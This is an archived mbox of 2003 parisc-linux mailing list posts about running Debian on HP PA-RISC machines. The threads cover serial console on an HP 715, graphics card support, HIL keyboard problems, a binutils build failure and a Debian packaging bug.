Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Qbvjkv9qwOGw/5Fx"
X-Trace: ger.gmane.org 1416622460 25782 80.91.229.3 (22 Nov 2014 02:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 11:50:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gerald.kyllikki.org (pc3-heck1-6-cust211.hudd.cable.ntl.com [80.7.100.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D17B8482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 11:50:09 -0600 (MDT)
Original-Received: from vince by gerald.kyllikki.org with local (Exim 3.36 #1 (Debian))
	id 19GMro-00014f-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 18:50:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18493

--Qbvjkv9qwOGw/5Fx
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I have recently aquired a HP 715/33 machine.
It has 32Mb fitted in a pair of simms and a 2Gb hard disc

I have aquired the machine without keyboard or monitor and as i
intended it to run as a headless system this wasnt an issue. However I
have discovered I need to gain access to the boot prom to change the
settings (I am very familiar with such things from SUN kit). I have
discovered how to get a sensible graphics (1024x768) mode by changing
the dip switches at the back of the board but still dont have a
keyboard.

I have attempted a number of times to get serial console to work by
holding down TOC at boot time to no avail (suggested by mathew
wilcox). I have managed to get the system to boot from the network
using rboot and disconnecting the hard disc then reconnecting the hard
drive and installing debian :-)

This means i have a working debian system but i still cannot get
access to the boot monitor to change any settings.

Does anyone have any clues to get the boot monitor to switch to serial
console without acess to a keyboard or hpux.

--=20
Regards Vincent
http://www.kyllikki.org/

--Qbvjkv9qwOGw/5Fx
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE+w9NQiUwwPOvjHvURAn+MAJsEUp8qSSQaZ9onliG1tTRO3+2zXQCdFRJS
O30I/7LQpL0jtp8qq/pkkIE=
=z0kS
-----END PGP SIGNATURE-----

--Qbvjkv9qwOGw/5Fx--


From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP Industrial Controllers & CPUs
Date: Thu, 15 May 2003 14:42:30 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <3EC409C6.8AD9DA0@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622460 25786 80.91.229.3 (22 Nov 2014 02:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 12:40:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 662AD482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 12:40:07 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.134]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Thu, 15 May 2003 14:39:53 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 15 May 2003 18:39:53.0968 (UTC) FILETIME=[603F9700:01C31B11]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18494

Does anyone have any of these older HP-UX workstations and or CPUs that
might be available for surplus sale or trade?

A1255A  9000/745/165L Workstation
A4964A  9000/745/132L Workstation
A4513A  9000/748/165L Workstation
A4510A  9000/748/132L Workstation
A4311A  9000/748i/100 Workstation
A2638A  9000/745i/100 Workstation
A2261A  9000/745i/100 Workstation
A4511A  9000/744/165L Single Board Computer
A4500A  9000/744/132L Single Board Computer
A4512A  9000/744rt/165L Single Board Computer
A4520A  9000/744rt/132L Single Board Computer
A4260A  9000/743i/100 Single Board Computer


Thanks
Jesse Dougherty
Cypress Technology, Inc
Re-Sellers of HP 3000/9000 products
12890 Automobile Blvd
Clearwater, FL 33762
727-557-0911 / fax 727-557-0014
jesse@cypress-tech.com
www.cypress-tech.com



From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 and Xfree
Date: Thu, 15 May 2003 12:14:07 -0700 (PDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <20030515191407.81371.qmail@web12502.mail.yahoo.com>
References: <BAE9380F.B87%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1998837807-1053026047=:81041"
X-Trace: ger.gmane.org 1416622460 25787 80.91.229.3 (22 Nov 2014 02:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:20 +0000 (UTC)
To: Richard Todd <rtodd@antipentium.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 13:14:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 18F67482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 13:14:08 -0600 (MDT)
Original-Received: from [161.114.1.185] by web12502.mail.yahoo.com via HTTP; Thu, 15 May 2003 12:14:07 PDT
In-Reply-To: <BAE9380F.B87%rtodd@antipentium.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18495

--0-1998837807-1053026047=:81041
Content-Type: text/plain; charset=us-ascii

That graphics card, the FX4, is not supported under Debian.  Only the EG variants are supported ie: A4977A on the J5000.  Check out this Ebay auction (no affillation with seller):

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3023848603&category=11221
 
I was getting rid of my spare A4977A card, but it is spoken for.
 
derek
 

Richard Todd <rtodd@antipentium.com> wrote:
Does anyone know of a driver or what driver to use with the J5000 to try to
get xfree working 
STI device: HPA4554A
stifb: Unsupported gfx card id 0x2fc1066b

Display controller: Hewlett-Packard Company Visualize FX4 (rev 02)

Any Help would really be appreciated
-- 


Never be afraid to try something new.
Remember, Amateurs built the ark. Professionals built
the Titanic. 

...

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-1998837807-1053026047=:81041
Content-Type: text/html; charset=us-ascii

<DIV>That graphics card, the FX4, is not supported under Debian.&nbsp; Only the EG variants are supported ie: A4977A on the J5000.&nbsp; Check out this Ebay auction (no affillation with seller):</DIV>
<DIV><BR><A href="http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3023848603&amp;category=11221">http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&amp;item=3023848603&amp;category=11221</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>I was getting rid of my spare A4977A card, but it is spoken for.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek</DIV>
<DIV>&nbsp;</DIV>
<DIV><BR><B><I>Richard Todd &lt;rtodd@antipentium.com&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Does anyone know of a driver or what driver to use with the J5000 to try to<BR>get xfree working <BR>STI device: HPA4554A<BR>stifb: Unsupported gfx card id 0x2fc1066b<BR><BR>Display controller: Hewlett-Packard Company Visualize FX4 (rev 02)<BR><BR>Any Help would really be appreciated<BR>-- <BR><BR><BR>Never be afraid to try something new.<BR>Remember, Amateurs built the ark. Professionals built<BR>the Titanic. <BR><BR>...<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-1998837807-1053026047=:81041--


From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Modification request for linux/arch/parisc/kernel/power.c
Date: Fri, 16 May 2003 10:29:12 +0200
Organization: H.P
Lines: 15
Approved: news@gmane.org
Message-ID: <3EC4A158.70106@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622460 25789 80.91.229.3 (22 Nov 2014 02:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:20 +0000 (UTC)
To: deller@gmx.de, parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 16 02:29:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2F794829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 02:29:29 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 2A46163D; Fri, 16 May 2003 10:29:20 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id KAA12385;
	Fri, 16 May 2003 10:29:12 +0200 (METDST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18496

	Hi
I have a small request for this modules. Is it possible to
add a small hak in the process_shutdown() function in order
to call panic() if the soft power button is pressed 3 time
shortly.
It really help to analyze problem in hanging situation.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
         SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@hp.com



From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] last binutils-2.14.90.0.1 failled to build kernel
Date: Fri, 16 May 2003 14:55:09 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3EC39DA000000769@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622461 25792 80.91.229.3 (22 Nov 2014 02:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 16 06:55:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34D6D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 06:55:12 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19Gejs-0001SN-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 14:55:08 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 16 May 2003 14:55:09 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18497

Hi All,

I am now runing a kernel 2.4.20-pa35 + lkcd bruno's patch with gcc-3.2.

In the mean time I made a distupgrade which mainly update binutils from 2.13.90.0.18-1.7
to 2.14.90.0.1-0.1 which make now failed the rebuild of the kernel:
[...]
gcc -D__ASSEMBLY__ -traditional -D__KERNEL__ -I/usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/include
 -c -o entry.o entry.S
entry.S: Assembler messages:
entry.S:191: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:191: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
entry.S:514: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:514: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
entry.S:573: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:573: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
entry.S:574: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:574: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
entry.S:603: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:603: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
entry.S:858: Error: Undefined .EXPORT/.IMPORT argument (ignored): 
entry.S:858: Error: Undefined .EXPORT/.IMPORT argument (ignored): code
make[1]: *** [entry.o] Error 1
make[1]: Leaving directory `/usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2
[...]

Any idea?

Thanks,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Help configuring an HIL mouse on an HP 715. - (Major disaster! - Am I back at ground level 0?)
Date: Fri, 16 May 2003 11:25:55 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <20030516172555.GA10530@dsl2.external.hp.com>
References: <20030513184232.GB14235@dsl2.external.hp.com> <NEBBJAILOLAHGDBEOCIOOELDDGAA.jaime@urgoal.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622461 25794 80.91.229.3 (22 Nov 2014 02:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jaime Ash <jaime@urgoal.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 16 11:25:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 331FF4829; Fri, 16 May 2003 11:25:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <NEBBJAILOLAHGDBEOCIOOELDDGAA.jaime@urgoal.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18498

On Thu, May 15, 2003 at 12:09:25PM -0700, Jaime Ash wrote:
> Hi Grant,
> I did manage to recover by using a combination of the tips above (except
> that I had to modify the first tip to: "boot alt isl", instead)

yup - sorry about that. I'm going to move this conversation to
the parisc-linux mailing list since this revolves around the HIL
support in the kernel.

> Since I can't get "vmlinux-2.4.20-32" to boot in my machine,

Has anyone tried to running vmlinux-2.4.20-32 on 715/new (64/80/100)?
Also problems with HIL mouse/keyboard?

> I then got and
> installed "kernel-image-2.4.19-32" (to try to fix my HIL mouse/keyboard
> problem) but I now have a new problem: when I boot using the
> "vmlinux-2.4.19-32" kernel, things go well until I reach a point where I get
> a Debian GNU Linux blue screen with a gray menu that asks to "Choose your
> current network-environment !", and gives 2 choices: "Installation_default"
> and "Set_up_new_environment" and has 2 "buttons": "< OK >" and "< Cancel >".
> But, the keyboard (and mouse) are disabled, so I can't choose!!!!!

Reboot with 2.4.17, and fix up the network scripts. Or just delete the
whatever package provides that.
Can someone advise Jaime on which packages muck with keyboard settings
and how they should be set?
Or Is the FAQ answer this sufficiently?

> (Ie. I
> can't proceed or shutdown gracefully, because the networking hasn't yet been
> enabled - so I can't telnet to the machine - so my only choice is to pull
> the AC plug, because pressing the power button doesn't halt the system!)
> I believe that the "Choose your current network-environment !" blue screen
> occurs in my system because of a wrong default I took during the
> installation from the ISO disk (I didn't know any better!) and I used to get
> that same screen with "vmlinux-2.4.17-32".  But, in that case, I was able to
> make the proper choice with the keyboard, since it continued working OK up
> to that stage in the boot process.
> I may be wrong, but here is my theory of what's happening now:  the good
> news is that I think the new kernel ("vmlinux-2.4.19-32") must have "solved"
> the HIL/keyboard problem (but too early): ie. the HIL driver must have been
> enabled before the blue screen menu (since the keyboard behavior has changed
> with the new kernel), but the software behind that menu doesn't know how to
> use the new driver.  I also think that if I can somehow get rid of the blue
> screen (by changing an entry in some configuration file? - but which?) my
> problem would go away.  Since a previous user (Damien) reported that he got
> "kernel-image-2.4.19-32" to work for him in an HP 715 machine, I am guessing
> that he did not have that blue screen menu enabled - therefore no problem in
> his case.
> What do you think?

I don't know what the problem is. I haven't played with HIL drivers at all.

> Is there an easy way to disable the blue screen after booting to the old
> kernel?

Yes
1) figure out which script is presenting that menu.
   (eg "fgrep -i new_network /etc/init.d/*")
2) Run the script by hand to make sure it's the right one.
   (eg "/etc/init.d/netenv start")
3) "dpkg -S <scriptname>" to find the responsible package.
4) "apt-get remove <package>" to blow away the package.

hth,
grant


From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joop Stakenborg <pa3aba@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#193261: glfer_0.3.2-1(hppa/unstable): FTBFS: assumes sys/io.h
 exists
Date: Fri, 16 May 2003 21:24:56 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3EC53B08.2050904@debian.org>
References: <20030514052335.GO14285@security.hp.com> <3EC25AE0.9070004@debian.org> <20030516191505.GA24104@security.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622461 25797 80.91.229.3 (22 Nov 2014 02:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:21 +0000 (UTC)
Cc: lamont+buildd@hp.com, 193261@bugs.debian.org
To: LaMont Jones <lamont@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 16 13:36:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id A99784829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 13:36:20 -0600 (MDT)
Original-Received: from security.hp.com (security.hp.com [15.238.4.200])
	by atlrel8.hp.com (Postfix) with ESMTP id D78F11C0177B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 May 2003 15:36:19 -0400 (EDT)
Original-Received: by security.hp.com (Postfix, from userid 1000)
	id 9590EB18DA; Fri, 16 May 2003 13:36:19 -0600 (MDT)
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [15.45.89.157])
	by security.hp.com (Postfix) with SMTP id 07F73B18DA
	for <lamont@security.hp.com>; Fri, 16 May 2003 13:25:30 -0600 (MDT)
Original-Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138])
	by atlrel9.hp.com (Postfix) with ESMTP id 7A8541C013D5
	for <lamont@security.hp.com>; Fri, 16 May 2003 15:25:29 -0400 (EDT)
Original-Received: from debian.org (pa4tu.xs4all.nl [213.84.62.38])
	by smtpzilla2.xs4all.nl (8.12.9/8.12.9) with ESMTP id h4GJOtNU032334;
	Fri, 16 May 2003 21:24:56 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030430 Debian/1.3-5
X-Accept-Language: en-us, en
In-Reply-To: <20030516191505.GA24104@security.hp.com>
Resent-From: lamont@hp.com
Resent-Date: Fri, 16 May 2003 13:36:19 -0600
Resent-To: parisc-linux@lists.parisc-linux.org
Resent-Message-Id: <20030516193619.9590EB18DA@security.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18499

LaMont Jones wrote:
> severity 193261 important
> --
> On Wed, May 14, 2003 at 05:04:00PM +0200, Joop Stakenborg wrote:
> 
>>>There are many architectures where sys/io.h does not exist.
>>
>>Sorry about that. I will make it a i386-only package for now.
> 
> 
> Please don't do that.  This bug should be important, not serious,
> which makes it not release-critical.  (Sorry about that...)
> 
> Unless the package is truely i386 specific in _function_ (not
> compile-ability), or depends on such, it should be Architecture: any.
> 

Okay,

where do I find information on functions and devices available on other 
architectures, e.g. glfer uses inb, outb and ioperm (they are in 
sys/io.h) on the parallel/serial port.

> lamont
> 
> 

Thanks,
Joop


From - Thu Nov 08 21:27:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jaime Ash" <ja@lachivaquemada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Help configuring an HIL mouse on an HP 715. - (Major disaster! - Am I back at ground level 0?)
Date: Fri, 16 May 2003 12:59:17 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <NEBBJAILOLAHGDBEOCIOEENIDGAA.ja@lachivaquemada.com>
References: <20030516172555.GA10530@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622462 25803 80.91.229.3 (22 Nov 2014 02:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:22 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
